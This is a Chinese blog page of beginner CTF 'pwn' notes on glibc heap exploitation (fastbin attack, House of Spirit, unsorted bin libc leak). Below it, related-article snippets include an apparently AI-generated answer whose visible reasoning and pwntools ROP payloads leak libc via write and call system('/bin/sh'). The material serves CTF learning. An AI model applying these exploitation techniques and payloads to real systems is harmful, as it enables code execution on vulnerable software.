PWN入门笔记 FastBinAttack+HouseOfSpirit+UnsortedBinLeak

最新推荐文章于 2024-11-07 09:59:22 发布
原创 最新推荐文章于 2024-11-07 09:59:22 发布 · 1.6k 阅读 · 6 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文深入讲解了FastBinAttack、HouseOfSpirit及UnsortedBinLeak三种Pwn技巧，包括技术原理与实际应用案例，帮助读者理解如何利用这些技巧进行内存控制。

好久没发文章了，从3月到5月所有学习记录全都存档在gitee上，包括本篇所有相关题目的exp，链接在此~
接下来想讲一讲自己对FastBinAttack和HouseOfSpirit以及UnsortedBinLeak的认识，因为我发现这俩攻击方法和这一种泄露方法最近用的贼多（也很好用），与其说是Pwn Heap，不如说是Pwn Linked-List（手动狗头）

FastBinAttack

Propaedeutics
What is fast bins?

64位系统中，FastChunk是用户申请的size在[0x20,0xA0]的堆块（32位系统中是[0x10,0x50]），而FastBin则是size在[0x20,0xA0]的空闲堆块。每个Fastbin实质上是一个LIFO的单向链表，而Fastbins实质上是一个数组，数组上10个元素储存着每个Fastbin的head

Structure of a chunk (freed or not)
(not used)(in bins)
+-----------+-----------+
| prev_size |    size   |
+-----------+-----------+
|     fd    |     bk    |
+-----------+-----------+
|fd_nextsize|bk_nextsize|(fastchunk do not have this part)
+-----------+-----------+
|         empty         |
+-----------------------+
(now used)(not in bins)
+-----------+-----------+
| prev_size |    size   |========|
+-----------+-----------+        |
|        content        |        |
+-----------------------+        |
                                 |
size(showed in the form of bits) |
+-----------------+-+-+-+        |
|                 | | | | <======|
+-----------------+-+-+-+
   NON_MAIN_ARENA<-| | |
        IS_MAPPED<---| |
    (P)PREV_INUSE<-----| (the prev_inuse of fastchunk is always 1)
#define MAX_FAST_SIZE     (80 * SIZE_SZ / 4)
// SIZE_SZ==4 in 32bits OS while 8 in 64bits OS
#ifndef DEFAULT_MXFAST
#define DEFAULT_MXFAST     (64 * SIZE_SZ / 4)
#endif
// MXFAST is a value can be modified

然而，ptmalloc 默认情况下会调用 set_max_fast(s) 将全局变量 global_max_fast 设置为 DEFAULT_MXFAST，也就是设置 fast bins 中 chunk 的最大值。当 MAX_FAST_SIZE 被设置为 0 时，系统就不会支持 fastbin 。

mfastbinptr fastbinsY[NFASTBINS];
// NFASTBINS usually is 10, that is to say, there should be 10 pointer to store bins of different size.

Click here to know more

Attack Method

攻击的关键在于控制一根fd指针，然后修改指针内容为一个恶意地址，于是malloc的下一个fast chunk就会出现在fd指向的恶意地址，于是就达成了MemoryWrite的目的。
而如何控制一根fd指针呢？
修改FastBin来修改已free的chunk，然后再调用若干次malloc直到成功重新使用edited fast chunk，下一个malloc的FastChunk将会出现在上一个chunk的fd指针里写入的恶意地址。恶意地址的特征是存在一段dword，其低地址的1byte恰好在FastChunk的size之间，而其余高地址bytes全为\x00。通常考虑在Global Offset Table或者Block Started by Symbol或者加载的libc(e.g __malloc_hook)中寻找一个合适的恶意地址。

NJUPT-CGCTF:note(300pt)

此题提供了edit功能，无需DoubleFree，直接在形成FastBin之后edit，即可控制fd，直接修改链表

ISCC2018:WriteSomePaper(200pt)

此题并未提供edit功能，需DoubleFree，再Add一次被DoubleFree的chunk，即可控制fd，间接修改链表

others

也可通过非OffByOne的堆溢出来修改链表，其余方法等待探索吧。

HouseOfSpirit

Propaedeutics
What is HOS?

free的参数可控，导致任意地址free，再次allocate遂导致指定地址MemoryWrite

Attack Method

通过修改fd来控制note_list，从而控制free的参数，广义上而言，大多数情况下可以通过fastbin来进行攻击

ISCC2018:HappyHotel(300pt)

其实这道题原题是LCTF2016的pwn200……无语了这破比赛。通过溢出override指针，再去free这个指针，从而HOS。

UnsortedBinLeak

经常需要用到LibcBaseAddr，这时候就必须来一发UnsortedBinLeak

Propaedeutics
What is unsorted bin?

UnsortedBin只有一个链表，且是FIFO的环形双向链表。当释放SmallChunk或者LargeChunk时，不会将它们添加到SmallBin或者LargeBin中，而是添加到UnsortedBin中。而UnsortedBin有一个特性，就是第一个处于其中的空闲chunk的fd和bk都指向main_arena中一固定地址比如<main\_arena+88>这种。

Leak Method
NJUPT-CGCTF:note(300pt)

连续Add两个SmallChunk后delete第一个并且Show，返回值即为&main_arena+88

SCUTCTF2017:babyheap

连续Add三个FastChunk（也可视作SmallChunk）后delete第一个并且Show，也返回了main_arena中偏移量固定的地址

The END

等我（不入流PWN手）把HouseOfOrange学会了再来发博客咯

最后打个小广告
欢迎大家加入W8Cloud，一起学习信息安全知识。
组织链接在此~
组织官网在此~

fastbin attack
m0_64195960的博客
07-19 1530
FastbinDoubleFree是指fastbin的chunk可以被多次释放，因此可以在fastbin链表中存在多次。这样导致的后果是多次分配可以从fastbin链表中取出同一个堆块，相当于多个指针指向同一个堆块，结合堆块的数据内容可以实现类似于类型混淆(typeconfused)的效果。FastbinDoubleFree能够成功利用主要有两部分的原因fastbin的堆块被释放后next_chunk的pre_inuse位不会被清空1.1.1该技术的核心。......
堆溢出----Fastbin Attack
qq_42192672的博客
10-23 1592
学习资料：https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack/                   https://www.anquanke.com/post/id/85357 之前稍微了解了一波Use After Free ，运用了fastbin，这次继续学一下fastbin的其他攻击方式，希望能学会...
攻防世界PWN之Noleak(一题学了好多知识)题解
seaaseesa的博客
11-13 4081
Noleak 本题需要用到的知识有：malloc_hook、unsorted bin unlink、fastbin attack、partial write bypass PIE 首先，介绍一下malloc_hook，这是C语言提供的一个用来包装malloc的，类似还有free_hook，具体可以查阅相关资料学习 Malloc hook 我们看如下代码 #include&...
【我的 PWN 学习手札】Unsortedbin Leak
Mr_Fmnwon的博客
09-12 1251
main_arena 是一个 struct malloc_state 类型的全局变量，是 ptmalloc 管理主分配区的唯一 实例。说到全局变量，立马可以想到他会被分配在 .data 或者 .bss 等段上，那么如果我们有进程所使用的 libc 的 .so 文件的话，我们就可以获得 main_arena 与 libc 基地址的偏移，从而获取 libc 的基地址。 由于 unsorted bin 是双向链表，因此在 unsorted bin 链表中必有一个节点的 fd 指针会指向 main
好好说话之Fastbin Attack（2）：House Of Spirit
hollk’s blog
10-30 4556
Fastbin Attack的第二种攻击方式House Of Spirit，相对来说是double free的升华。在检查绕过的时候会相对麻烦一点，其他的地方还是挺简单的，如果上一篇文上你领悟的很好的话，这篇文章也不会很难理解。 编写不易，如果能够帮助到你，希望能够点赞收藏加关注哦Thanks♪(･ω･)ﾉ
fastbinattack&house of spirit——oreo
m0_61948538的博客
02-25 153
fastbinattack,double free,house of spirit
pwn入门题目+exp
01-26
初级的ROP，附有完整exp，可以学一下
[pwn][堆利用]house of spirit[例题：lctf2016_pwn200]
zhulintintao的博客
11-21 1023
House of spirit 实现目的 malloc分配到目标地址 实现条件 free的参数可控 目标地址可以连续构造两个fake chunk的size域，需要地址对齐(即目标高低地址处均有可控区域) 实现方法 在目标地址伪造可以被释放到fastbin上的fake chunk 伪造fake chunk的同时伪造好其下一个chunk(物理上的)的size域 将目标地址作为参数free malloc一次，将返回指向目标地址的指针 实现实例 题目平台 buuctf 题目名
【pwn】[ZJCTF 2019]EasyHeap --fastbin攻击，house of spirit
question55的博客
12-22 1151
/ 往堆中读入数据。
一道pwn入门的练习题
10-23
直接以一个非常简单的栈溢出例子(基于Linux)来讲解pwn所要用到的一些常用的工具及命令的用例
STM32F429阿波罗 驱动L298N（PWN速度可调） + 红外遥控 +自主避障
07-05
STM32F429阿波罗 HAL库函数版本 采用PWM波方式开辟四个通道 使得二轮小车速度可调（电机调速）可采用红外遥控控制车运动方式 利用红外传感自动避障。 代码调试方面有问题可私发邮箱3476393208@qq.com
【我的 PWN 学习手札】Fastbin Attack
Mr_Fmnwon的博客
09-13 1150
Fastbin Attack主要是利用了Fastbin单链表管理，如果能够利用UAF等漏洞，将Fastbin链表上的free chunk的fd写数据，即可实现任意地址分配，进而实现任意地址读写 本篇涉及到的保护机制只有一个：取出的fastbin chunk，size应该在对应取出的fastbin范围内 二、利用手法 （1）分配到任意地址（__malloc_hook周边） 通过修改free chunk的fd指针造成分配到任意地址， 需要满足size条件。通过任意地址写来利用getshell，劫持ho
Fastbin attack总结
WateranFire的博客
10-12 385
double free 思路： 构造fake chunk，将free chunk的fd指向fake chunk，使得下次malloc时返回fake chunk 检测： (1)fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块，即链表指针头部的块。对于链表后面的块，并没有进行验证。 (2)malloc申请伪造的fastbin时会检测fastbin的SIZE 流程： a1=malloc(); a2=malloc(); free(a1); free(a2); //
常回家看看之fastbin_attack
susu_xiaosu的博客
08-03 589
fastbin属于小堆块的管理，这里说的fastbin_attack大多指glibc2.26之前的手法，因为自glibc2.26以后，glibc迎来了一位新成员tcachebin，它减少了堆的开销，使堆管理变得迅速而高效，而且申请的小堆块会优先进入tachebin中，只有tachebin其中一个链表满了再次申请一个相同大小的堆块，若是小堆块再次free会进入fastbin中。
glibc 2.31 pwn——house of pig原题分析与示例程序
CoLin的pwn小屋
01-09 1712
house of pig题目解析及演示程序
pwn零基础入门
weixin_45948183的博客
03-24 1万+
pwn零基础入门 很多初学者在初学pwn的时候，对pwn可能存在许多疑问，学什么，怎么学，今天和大家分享一下刚学pwn的一些资料的学习历程。 首先分享一下pwn的一系列学习资料 一、首先语言基础得打牢，1、汇编语言，《汇编语言—王爽》2、编程语言（C语言和python）C语言必须要会，题目大部分是用C语言写的，而且很多那些知识都要读libc的源代码。会python，exp用python写的，CTF...
【二进制安全】PWN基础入门大全（非常详细）零基础入门到精通，收藏这一篇就够了
热门推荐
leah126的博客
07-25 1万+
PWN是一个黑客之间使用的词语，通常指攻破设备或系统。发音类似“砰”，对黑客而言，这象征着成功实施黑客攻击的声音——砰的一声，被“黑”的电脑或手机就被操纵了。在网络安全语境中，PWN通常指的是通过不同的攻击手段如利用漏洞、进行社会工程学攻击等方法成功地获得了一个设备、系统或网络的未授权控制权。一旦攻击者“PWN了”一个系统，他们就可以执行各种恶意活动，如窃取数据、安装恶意软件或制造更广泛的破坏。
【二进制安全】PWN基础入门大全（非常详细），零基础入门到精通，看这一篇就够了
2401_84618514的博客
11-07 5972
PWN是一个黑客之间使用的词语，通常指攻破设备或系统。发音类似“砰”，对黑客而言，这象征着成功实施黑客攻击的声音——砰的一声，被“黑”的电脑或手机就被操纵了。在网络安全语境中，PWN通常指的是通过不同的攻击手段如利用漏洞、进行社会工程学攻击等方法成功地获得了一个设备、系统或网络的未授权控制权。一旦攻击者“PWN了”一个系统，他们就可以执行各种恶意活动，如窃取数据、安装恶意软件或制造更广泛的破坏。
【pwn入门】基础知识
Think++
09-16 2339
本文是B站学习的笔记，包含一些视频外的扩展知识。
ctf-pwn怎么用write+read求libc的基址
最新发布
11-15
<think> 我们参考引用内容，特别是引用[1]到[5]，来回答用户关于使用write和read函数在CTF Pwn中求libc基址的方法。 根据引用[4]和[5]，我们知道： 1. 程序运行后，libc中的函数在内存中的实际地址 = libc基址 + 函数在libc中的偏移量。 2. 我们可以通过泄露一个已经执行过的函数的实际地址（例如write或puts）来计算libc基址。 在CTF Pwn中，如果程序有栈溢出漏洞，我们可以构造ROP链来调用write函数（或puts函数）来泄露某个函数的真实地址（通常是GOT表中存储的地址），然后通过这个地址减去该函数在libc中的偏移量，得到libc基址。 具体到使用write+read的方法，通常步骤如下： 步骤1：第一次溢出，利用ROP调用write函数，将GOT表中某个函数（如write自身或puts）的地址输出到标准输出（文件描述符1）。同时，为了后续继续利用，我们需要控制程序返回到一个可以再次触发溢出的位置（如main函数开头）。 步骤2：接收程序输出，解析出泄露的函数地址。 步骤3：根据泄露的函数地址，计算libc基址（基址 = 泄露的函数地址 - 该函数在libc中的偏移量）。注意，不同libc版本中函数的偏移量不同，因此需要确定libc版本（可以通过泄露多个函数地址来匹配，或者题目提供了libc文件）。 步骤4：根据libc基址，计算出system函数和字符串"/bin/sh"的地址。 步骤5：第二次溢出，利用ROP调用read函数（或其他输入函数）将构造好的ROP链（调用system("/bin/sh")）写入到某个可写内存区域（如.bss段），然后跳转到该区域执行；或者直接构造ROP链调用system("/bin/sh")。 但是，用户特别提到使用write+read，所以这里重点在于利用write泄露地址和利用read再次读入数据。 以下是一个典型利用场景的伪代码： 第一次ROP链： - 覆盖返回地址为write函数的PLT地址（write@plt） - 设置write函数的参数：文件描述符（1）、要泄露的地址（如write_got，即GOT表中write的地址）、输出的长度（4或8字节，取决于32位还是64位） - 设置返回地址为main函数的地址（或另一个可以再次触发溢出的地址），这样在write执行完后程序会重新运行到有漏洞的地方。 接收程序输出的write_got的值，然后计算libc基址。 第二次ROP链： - 覆盖返回地址为read函数的PLT地址（read@plt） - 设置read函数的参数：文件描述符（0，即标准输入）、存储地址（如.bss段的一个缓冲区）、长度（足够长以容纳我们输入的ROP链） - 设置返回地址为存储的ROP链的起始地址（即.bss段的那个缓冲区），这样read函数读入的数据（即我们构造的ROP链）会从.bss段开始执行。 第二次ROP链中，我们可以在.bss段写入一个ROP链，这个ROP链调用system("/bin/sh")。或者，我们可以利用read函数读入一个ROP链直接调用system("/bin/sh")，但要注意此时需要知道system函数的地址。 另一种常见的做法是：第二次ROP链直接构造调用system("/bin/sh")，而不通过read再次读入。但这里用户要求使用read，所以我们需要用read来读入后续的ROP链或字符串。 具体构造示例（32位）： 第一次ROP链： - 填充缓冲区 - write@plt - main_addr (返回地址) - 1 (文件描述符) - write_got (要泄露的地址) - 4 (输出长度) 接收4个字节的write_got地址，计算libc基址：libc_base = write_addr - libc_write_offset 然后计算system地址和/bin/sh地址： system_addr = libc_base + libc_system_offset binsh_addr = libc_base + libc_binsh_offset 第二次ROP链： - 填充缓冲区 - read@plt - system_addr (注意：这里我们希望read后返回到system，并且参数是/bin/sh，但需要调整栈) - 0 (文件描述符) - binsh_addr (读入地址？这里需要调整思路) 实际上，我们通常需要将"/bin/sh"字符串写入内存，如果libc中已经有这个字符串，我们可以直接使用。然后调用system函数。 但是，如果我们使用read读入，我们可以这样： 第二次ROP链1（使用read读入字符串和后续ROP）： read(0, bss_addr, len(payload)) # 读入payload到bss_addr 然后返回到bss_addr（即执行我们读入的shellcode或ROP链） 但是，我们也可以直接构造ROP链调用system，此时需要将"/bin/sh"的地址作为参数。我们可以将"/bin/sh"字符串读入到已知地址（如.bss段），然后调用system。 因此，第二次ROP链可以这样： - 覆盖返回地址为read@plt - 设置返回地址为pop指令的地址（用于清理read的参数），然后接着是system的地址和参数 - 参数1：0（标准输入） - 参数2：bss_addr（.bss段的一个地址，用于存放我们输入的字符串"/bin/sh"） - 参数3：8（长度，足够存放字符串） - 然后设置返回地址为一段gadget：pop ebx; ret; 这样当read执行完后，会弹出参数（清理栈），然后执行下一条指令。接着我们调用system，参数是bss_addr。 具体构造（32位）： payload2 = padding + read_plt + pop3_ret + 0 + bss_addr + 8 + system_addr + ret_addr + bss_addr 解释： - 调用read(0, bss_addr, 8)读入8个字节到bss_addr（这里我们输入"/bin/sh\x00"） - read函数返回后，执行pop3_ret（一个弹出3个参数的gadget），将read的参数弹出栈，然后返回到system_addr - system_addr的返回地址是ret_addr（可以是一个无用的ret指令地址），参数是bss_addr（即我们读入的字符串地址） 但是，在64位系统中，参数传递通过寄存器，所以构造方式不同。 由于用户没有指定是32位还是64位，这里我们以32位为例。 然而，在实际题目中，我们往往需要根据题目提供的libc来确定偏移量，或者使用LibcSearcher等工具来查找。 总结步骤： 1. 利用write泄露一个GOT表地址（如write_got）。 2. 计算libc基址（需要知道该函数在libc中的偏移）。 3. 计算system和/bin/sh的地址（需要知道它们在libc中的偏移）。 4. 利用read函数读入字符串"/bin/sh"到.bss段（可选，如果libc中已有则不用读入）。 5. 构造ROP链调用system("/bin/sh")。 注意：如果题目中write函数不可用，也可以用puts函数，但puts遇到'\0'会结束，所以需要小心。 引用[5]中提到了使用LibcSearcher来查找libc版本和偏移，我们可以使用类似的工具。 下面是一个简化的例子（假设是32位程序）： 第一次ROP链： payload1 = 'A'*offset + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) 然后，接收泄露的write_got地址（4字节），解析为地址。 然后，计算libc_base = write_addr - libc.symbols['write'] # 这里需要知道libc版本，或者使用LibcSearcher 接着，计算system_addr = libc_base + libc.symbols['system'] binsh_addr = libc_base + next(libc.search('/bin/sh')) # 或者如果libc中没有，则需要读入 第二次ROP链： # 首先，我们需要读入"/bin/sh"字符串到.bss段（假设bss_addr已知） payload2 = 'A'*offset payload2 += p32(read_plt) # 调用read payload2 += p32(pop3_ret) # read返回后跳到这里，弹出3个参数 payload2 += p32(0) # fd=0 payload2 += p32(bss_addr) # buf payload2 += p32(8) # len # 然后，我们调用system，参数是bss_addr payload2 += p32(system_addr) payload2 += p32(0) # system的返回地址，可以随意 payload2 += p32(bss_addr) 然后发送payload2，接着发送字符串"/bin/sh\x00"（8字节）。 这样，程序就会执行system("/bin/sh")。 但是，如果libc中已经有"/bin/sh"字符串，我们可以直接使用，不需要读入。那么第二次ROP链可以简化为： payload2 = 'A'*offset + p32(system_addr) + p32(0) + p32(binsh_addr) 然而，用户要求使用read，所以这里我们展示的是需要读入字符串的情况。 注意：实际题目中，我们可能还需要考虑栈平衡等问题。 以上是使用write+read求libc基址并最终获取shell的方法。 现在，我们根据用户要求生成相关问题。 §§相关问题§§ 1. 在32位和64位系统中，利用write和read函数求libc基址的主要区别是什么？ 2. 如果程序中没有write函数，还可以用哪些函数来泄露libc基址？ 3. 在利用read函数读入数据时，如何确定.bss段的地址？ 4. 如何解决不同libc版本中函数偏移量不同的问题？ 5. 在构造ROP链时，为什么有时候需要返回到main函数重新开始？ </think>### CTF Pwn中使用write+read求libc基址的方法 在CTF Pwn中，通过`write`和`read`函数泄露libc基址是常见的利用技术，主要流程如下： #### 核心原理 1. **libc地址计算** libc基址 = 泄露的函数实际地址 - 该函数在libc中的固定偏移量 即：$libc\_base = leaked\_addr - offset$ 2. **GOT/PLT机制** GOT表存储函数真实地址，通过泄露GOT表项获取libc函数地址（如`write@got`）[^2][^5]。 #### 操作步骤 1. **第一次ROP链（泄露地址）** ```python payload1 = b'A' * offset # 填充缓冲区 payload1 += p64(pop_rdi) # 设置rdi=1 (stdout) payload1 += p64(1) payload1 += p64(pop_rsi) # 设置rsi=write_got payload1 += p64(elf.got['write']) payload1 += p64(pop_rdx) # 设置rdx=8 (64位地址长度) payload1 += p64(8) payload1 += p64(elf.plt['write']) # 调用write(1, write_got, 8) payload1 += p64(main_addr) # 返回main重新触发溢出 ``` - 执行后接收输出的8字节数据，解析为`write`函数的实际内存地址[^5]。 2. **计算libc基址** ```python write_addr = u64(io.recv(8)) # 解析泄露的地址 libc_base = write_addr - libc.sym['write'] # 计算基址 system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh')) ``` 3. **第二次ROP链（getshell）** ```python payload2 = b'A' * offset payload2 += p64(pop_rdi) payload2 += p64(binsh_addr) # rdi="/bin/sh" payload2 += p64(ret) # 栈对齐(可选) payload2 += p64(system_addr) # 调用system("/bin/sh") ``` #### 关键点说明 1. **`read`函数的作用** - 在限制输入长度的题目中（如[^3]），用`read`构造栈迁移： ```python payload += p64(pop_rdi) + p64(0) # fd=0 (stdin) payload += p64(pop_rsi) + p64(new_stack) # 目标栈地址 payload += p64(elf.plt['read']) # read(0, new_stack, size) payload += p64(migrate_gadget) # 跳转到新栈 ``` - 将后续ROP链读到可控内存区域（如.bss段）[^3]。 2. **动态偏移处理** - 当libc版本未知时，用`LibcSearcher`匹配： ```python from LibcSearcher import * libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write') ``` #### 典型应用场景 1. 存在栈溢出但无`system`/`/bin/sh`的程序 2. 开启NX保护时（无法执行shellcode） 3. 输入长度受限需结合栈迁移（如[^3]） ---
评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值